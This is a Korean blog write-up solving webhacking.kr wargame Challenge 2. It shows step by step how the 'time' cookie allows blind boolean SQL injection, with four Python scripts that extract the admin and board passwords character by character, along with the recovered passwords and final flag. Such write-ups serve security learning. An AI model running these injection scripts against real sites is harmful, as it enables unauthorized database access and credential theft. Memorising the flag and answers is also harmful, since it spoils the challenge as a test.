티스토리 뷰
웹사이트를 둘러보면 BOARD > FreeB0aRd에 게시글이 하나 있는 것을 볼 수 있다.
게시글을 눌러보면 아래 그림과 같이 비밀글로 되어 있어서 볼 수가 없다.
다른 정보를 얻기 위해서 소스를 살펴보면 admin 페이지로 이동하는 링크를 볼 수가 있다.
admin 페이지에서도 특별한 정보를 얻을 수 없었으나 메인 페이지 소스를 하단에 보면 <!--2015-06-18 03:46:52--> 시간 정보가 주석으로 있는 것을 볼 수 있다.
쿠키를 살펴보면 시간 정보를 쿠키를 통해서 전달이 되는 것을 볼 수 있다.
time 값을 1로 변경해서 소스를 보면 아래 그림과 같다.
time 값을 1로 변경하였을 때 시간 정보 값을 보면 <!--2070-01-01 09:00:01--> 이다.
time 값을 1씩 증가시키면 시간 정보 중 초도 1씩 증가가 된다. (-1은 08:59:59, 0은 미표시, 00은 09:00:00)
time 값에 등호를 이용하여 1=1을 넣을 경우 <!--2070-01-01 09:00:01--> 가 나온다. (1과 동일, true)
time 값에 등호를 이용하여 1=2을 넣을 경우 <!--2070-01-01 09:00:00--> 가 나온다. (00과 동일, false)
이러한 특징을 이용하여 패스워드의 길이를 알아낼 수 있다.
1=1 and (select length(password) from admin)=9을 넣을 경우 <!--2070-01-01 09:00:00--> 가 나온다.
1=1 and (select length(password) from admin)=10을 넣을 경우 <!--2070-01-01 09:00:01--> 가 나온다. (password의 컬럼 길이는 10글자)
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import urllib2 session = "al2ed8793qf844q0n86osmmsn3" url = "http://webhacking.kr/challenge/web/web-02/index.php" req = urllib2.Request(url) for x in xrange(0,30): query = "1=1 and (select length(password) from admin)="+str(x) req.add_header("Cookie","time="+query+"; PHPSESSID="+session) if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"): print "length(password): " + str(x) break | cs |
length(password): 10
동일한 방법으로 패스워드에 해당하는 문자를 구할 수 있다.
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import urllib2 session = "al2ed8793qf844q0n86osmmsn3" url = "http://webhacking.kr/challenge/web/web-02/index.php" req = urllib2.Request(url) password = "" for x in xrange(1,11): for y in xrange(0x20,0x80): query = "1=1 and (select ascii(substr(password,"+str(x)+",1)) from admin)="+str(y) req.add_header("Cookie","time="+query+";PHPSESSID="+session) if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"): password += chr(y) break print password | cs |
0nly_admin
패스워드를 이용하여 admin 페이지에 로그인해보면 아래 그림과 같이 메뉴얼 패스워드를 얻을 수 있다.
메뉴얼 패스워드 : @dM1n__nnanual
웹사이트에서 메뉴얼과 관련된 정보를 찾아보았지만 찾을 수가 없었다.
앞에서 봤던 비밀글의 패스워드를 동일한 방법으로 알아낼 수 있다.
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import urllib2 session = "al2ed8793qf844q0n86osmmsn3" url = "http://webhacking.kr/challenge/web/web-02/index.php" req = urllib2.Request(url) for x in xrange(0,30): query = "1=1 and (select length(password) from FreeB0aRd)="+str(x) req.add_header("Cookie","time="+query+";PHPSESSID="+session) if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"): print "length(password): " + str(x) break | cs |
length(password): 9
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import urllib2 session = "al2ed8793qf844q0n86osmmsn3" url = "http://webhacking.kr/challenge/web/web-02/index.php" req = urllib2.Request(url) password = "" for x in xrange(1,10): for y in xrange(0x20,0x80): query = "1=1 and (select ascii(substr(password,"+str(x)+",1)) from FreeB0aRd)="+str(y) req.add_header("Cookie","time="+query+";PHPSESSID="+session) if -1 != urllib2.urlopen(req).read().find("2070-01-01 09:00:01"): password += chr(y) break print password | cs |
7598522ae
패스워드를 이용하여 비밀글을 열어보면 admin manual 글자와 함께 메뉴얼 압축 파일(__AdMiN__FiL2.zip)을 다운 받을 수 있다.
메뉴얼 압축 파일(__AdMiN__FiL2.zip)은 패스워드가 걸려 있으나 앞에서 알아낸 메뉴얼 패스워드 : @dM1n__nnanual 를 이용하여 압축을 풀 수 있고 위 그림과 같이 manual.html 파일을 얻을 수 있다. html 파일을 열어보면 최종 패스워드를 구할 수 있다.
패스워드는 HacKed_by_n0b0dY 이다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 11 (0) | 2015.07.06 |
---|---|
Challenge 10 (0) | 2015.07.06 |
Challenge 9 (0) | 2015.07.05 |
Challenge 8 (0) | 2015.07.05 |
Challenge 7 (0) | 2015.07.05 |
Challenge 6 (0) | 2015.06.28 |
Challenge 5 (0) | 2015.06.27 |
Challenge 4 (0) | 2015.06.25 |
Challenge 3 (0) | 2015.06.25 |
Challenge 1 (0) | 2015.06.18 |